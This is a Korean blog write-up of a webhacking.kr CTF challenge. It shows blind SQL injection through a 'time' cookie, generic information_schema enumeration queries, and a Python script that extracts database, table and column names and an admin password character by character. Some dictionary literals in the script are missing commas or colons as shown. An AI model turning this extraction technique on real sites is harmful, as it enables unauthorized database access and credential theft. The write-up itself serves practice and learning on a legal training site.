Always-Try(정보보안 및 일상)

webhacking.kr - Challenge(old) - 2번 - 블라인드 SQL 인젝션 본문

Pen Test

webhacking.kr - Challenge(old) - 2번 - 블라인드 SQL 인젝션

Always-Try 2021. 2. 8. 21:30

#1. 2번

1-1. 문제

1-2. 풀이

문제만 봐서는 뭘 하라는건지 알 수 없다.

일단 페이지 소스 보기에 힌트가 있는지 보자.

admin.php... 흐음 하지만라고 하면 더 해보고 싶은 법. 한번 url 뒤에 입력해볼까

역시 뭔가가 나온다.

sercret password를 입력해야 넘어갈 수 있을 것으로 보인다.

 

일단 123, ', qweq 와 같이 아무거나 그리고 ' AND 1=1# 와 같은 Blind SQL Injection의 기본적인 문구를 입력했더니, 모두 아래와 같이 뜬다. 흐음. 팝업만으로는 구분할 수 없을 것 같다.

그래서 Burp suite를 이용하여 살펴보기로 했다.

Requset와 Response 요청은 각각 아래와 같이 나온다. 

request
response

흐음.. 뭘까 

일단 Request의 Cookie 값에 time 라는 낯선 값이 들어가 있는데, 뒤의 숫자가 무엇을 의미하는지 찾아봤다.

time에 대한 여러가지 표현 값을 찾아보던 도중, 아래 블로그가 나왔고 아마도 위에 표시된 '1612484719' 값은 Unix Date/Time이 아닐까 하는 생각이 들었다. 

generaltiger.tistory.com/1

 

시간값(timestamp) 표현 방식

 날짜/시간 값을 디지털 데이터로 저장하는 방식에는 여러 가지 방식이 있다. 가장 널리 쓰이는 방식으로 Unix Date/Time, Windows Timestamp, MS-DOS Date/Time 등이 있다.  십여 종류 이상 있지만 기본 원리

generaltiger.tistory.com

이를 확인하기 위해 콘솔창에서 검증을 진행했더니 현재 시간이 나왔다. (*1000 을 한 것은 자바스크립트는 millisecond을 쓰기 때문)

그렇구만. 현재 시간이 나오는 것은 알겠다. 근데 어쩌라고?

 

흠. 

 

다시 첫페이지로 돌아가서 위에 했던 것을 반복해봤다.

어? 근데 뭔가 이상하다. 9시 52분에 요청을 다시 날렸는데, Unix 타임 값이 아까와 같이 9시 25분 (아마 처음 접속해본 시간일 듯)이다. 페이지 소스보기에도 처음 요청했던 시간이 찍혀있다. 

 

수상해. 뭔가 수상해. 일반적인 쿠키 값이라면 현재의 시간을 저장할텐데, 수상해. 

쟤를 한번 바꿔볼까? 해서 바꿔서 요청을 보내봤더니, 응답 값이 변했다. (드디어!!)

 

 

입력한 값이 그대로 나오는구나. 그대로 나오는구나. 입력을 할 수 있구나? 입력 파라미터가 될 수 있구나..... ? 그럼 이것 저것 입력해보고 SQL 인젝션을 시도해봐도 되겠다.

일단 112, 112g, 112gggg, 123' 를 넣었을때 모두 결과 값이 01:52로 나왔다. 이는 입력한 숫자를 초로 변환 값이 리턴되고, 영문자와 '는 처리되지 않는다는 것을 의미하는 것 같다.

이번에는 SQL 인젝션의 참/거짓 문장을 보내봤고, 결과 값이 다르다는 것을 확인할 수 있었다. 참일때는 1, 거짓은 0 ! 

따라서 블라인드 SQL 인젝션을 시도해볼 수 있다.

참일때의 return 값
거짓일때의 return 값

 

먼저 블라인드 SQL 인젝션을 시도하기 전에 확인된 사항을 정리해보면 아래 3개와 같다.

  - 숫자를 입력하면 숫자를 출력한다. 

  - 참/거짓을 물어보는 쿼리를 보내면 참은 1, 거짓은 0을 출력한다.

  - SQL 문법에 맞지 않는 쿼리를 보내면 그 직전 쿼리의 값이 그대로 출력된다.

 

 

이제 우리는 위 정보를 가지고 블라인드 SQL 인젝션을 시도한다.

계정이고 뭐고 아는 정보가 하나도 없으므로 일단 DB 정보에 대해 하나씩 찾아나가보자.

  - 순서: DB 명 -> 테이블명 -> 컬럼명 -> 값 출력

 

그 전에 DB 메타데이터에 대한 지식이 필요한데, 다음의 블로그에 관련 내용이 자세히 나와있으니 참고하면 좋을 것 같다.

qkqhxla1.tistory.com/107

 

information_schema

information_schema 데이터베이스에는 모든 테이블의 정보가 들어있음. 데이터베이스.테이블이름 이런 형식으로 접근 가능함. 많이 쓰이는건 information_schema.tables, information_schema.columns, information..

qkqhxla1.tistory.com

rk1993.tistory.com/230

 

[MySQL]information_schema란 ? (정의 및 테이블 종류)

information_schema란 ? INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용..

rk1993.tistory.com

대략 블라인드 SQL 인젝션에 DB, Table, Column, 값에 대한 정보를 정리해보면 아래와 같고, 아래 구조에서 조금씩 변경해가면서 적용하면 된다.

 

※블라인드 SQL 인젝션 관련 쿼리

더보기

DB 관련 정보

select schema_name from information_schema.schemata;

select group_concat(schema_name) from information_schema.schemata;

select substr(group_concat(schema_name),1,1) from information_schema.schemata;

select ascii(substr(group_concat(schema_name),1,1)) from information_schema.schemata;

select length(schema_name) from information_schema.schemata LIMIT 0, 1

select length(schema_name) from information_schema.schemata LIMIT 1, 1

 

테이블 관련 정보

select group_concat(table_name) from information_schema.tables where table_schema=database();

select substr(group_concat(table_name),1,1) from information_schema.tables where table_schema=database();

select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database();

  

컬럼 관련 정보

select column_name from information_schema.columns where table_name='test_table';

select group_concat(column_name) from information_schema.columns where table_name='test_table';

select substr(group_concat(column_name),1,1) from information_schema.columns where table_name='test_table';

select ascii(substr(group_concat(column_name),1,1)) from information_schema.columns where table_name='test_table';

  

컬럼 값 출력

select login_pw from test_table;

select group_concat(login_pw) from test_table;

select substr(group_concat(login_pw),1,1) from test_table;

select ascii(substr(group_concat(login_pw),1,1)) from test_table;

select ascii(substr(group_concat(login_pw),1,1)) from test_table;

 

위 쿼리를 이용하여 일일이 burp suite의 요청을 변조하면 값을 얻어낼 수 있다. 하지만 굉장히 귀찮을 것이다. 따라서, 파이썬으로 코드를 작성해봤다. 코드에 대한 자세한 주석을 통해 확인하길 바란다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# webhacking.kr(old) 2번 문제
 
 
import requests
 
URL = 'https://webhacking.kr/challenge/web-02/'   #요청을 보낼 URL
index = 0 #쿼리 결과 문자열의 인덱스
list_char = [] #한글자씩 뽑아낸 문자열을 담을 리스트
 
 
def set_return_index(): #쿼리의 결과가 나타나는 문자열의 인덱스를 확인하기 위한 함수
    global index
    cookies = {'time''33''PHPSESSID''jjdsopgpk5tbs9e4jhh850o5jv'#33은 index를 확인하기 위한 임의의 값으로 변경 가능
    response = requests.get(URL, cookies=cookies).text
    index = response.find('33')
 
 
def ascii_to_char(response): #아스키 값을 char 값으로 
    return_sec = int(response[index:index+2]) #쿼리의 결과 값 중 '초'에 해당하는 부분
    return_min = int(response[index-3:index-1]) #쿼리의 결과 값 중 '분'에 해당하는 부분
    return_value = return_sec + return_min*60 
    list_char.append(chr(return_value))
    return return_value
 
 
def countLength(column, table, where): #해당 객체의 문자열들의 개수를 파악하기 위한 함수
    global index
    query = '(select length(group_concat({})) from {} {})'.format(column, table, where)
    cookies = {'time': query, 'PHPSESSID''jjdsopgpk5tbs9e4jhh850o5jv'}
    response = requests.get(URL, cookies=cookies).text
    length = ascii_to_char(response)
    return length
    
 
def findasciiStr(column, table, where, length):
    for i in range(1, length+1):
        query = '(select ascii(substr(group_concat({}),{},1)) from {} {})'.format(column,i,table,where)
        cookies = {'time': query, 'PHPSESSID''jjdsopgpk5tbs9e4jhh850o5jv'}
        response = requests.get(URL, cookies=cookies).text
        ascii_to_char(response)
    print(''.join(list_char))
    list_char.clear() 
 
 
   
#1. 결과 값이 어디에 표시되는지를 코드에 지정해주는 함수 
set_return_index()
 
#2. DB 이름의 총 길이 (DB가 여러개 있을 경우 콤마로 구분되는데 콤마까지 합한 개수임)
db_length = countLength('schema_name''information_schema.schemata'None)
 
#3. DB 이름을 맨 앞자리부터 맨 뒷자리(length)까지 1개씩 출력
findasciiStr('schema_name''information_schema.schemata'None, db_length)
 
#4. 특정 DB 내 Table 이름의 총 길이
table_length = countLength('table_name''information_schema.tables''where table_schema="chall2"'# chall2 는 3번 과정에서 확인한 값
 
#5. 특정 DB 내 Table 이름을 맨 앞자리부터 맨 뒷자리(length)까지 1개씩 출력
findasciiStr('table_name''information_schema.tables''where table_schema="chall2"', table_length)
 
#6. 특정 Table 내 Column 이름의 총 길이
column_length = countLength('column_name''information_schema.columns''where table_name="admin_area_pw"'# admin_area_pw 는 5번 과정에서 확인한 값
 
#7. 특정 Table 내 Column 이름을 맨 앞자리부터 맨 뒷자리(length)까지 1개씩 출력
findasciiStr('column_name''information_schema.columns''where table_name="admin_area_pw"', column_length)
 
#8. 특정 Table의 특정 Column 값을 모두 출력
pw_length = countLength('pw''admin_area_pw'None# pw 는 7번 과정에서 확인한 값
 
#9. 특정 Table 내 특정 Column 값을 맨 앞자리부터 맨 뒷자리(length)까지 1개씩 출력
findasciiStr('pw''admin_area_pw'None, pw_length)
cs

 

admin.php에 위에서 추출한 pw 값을 넣으면 아래와 같이 뜨면서 해결된다.

 

 

 

 

 

Comments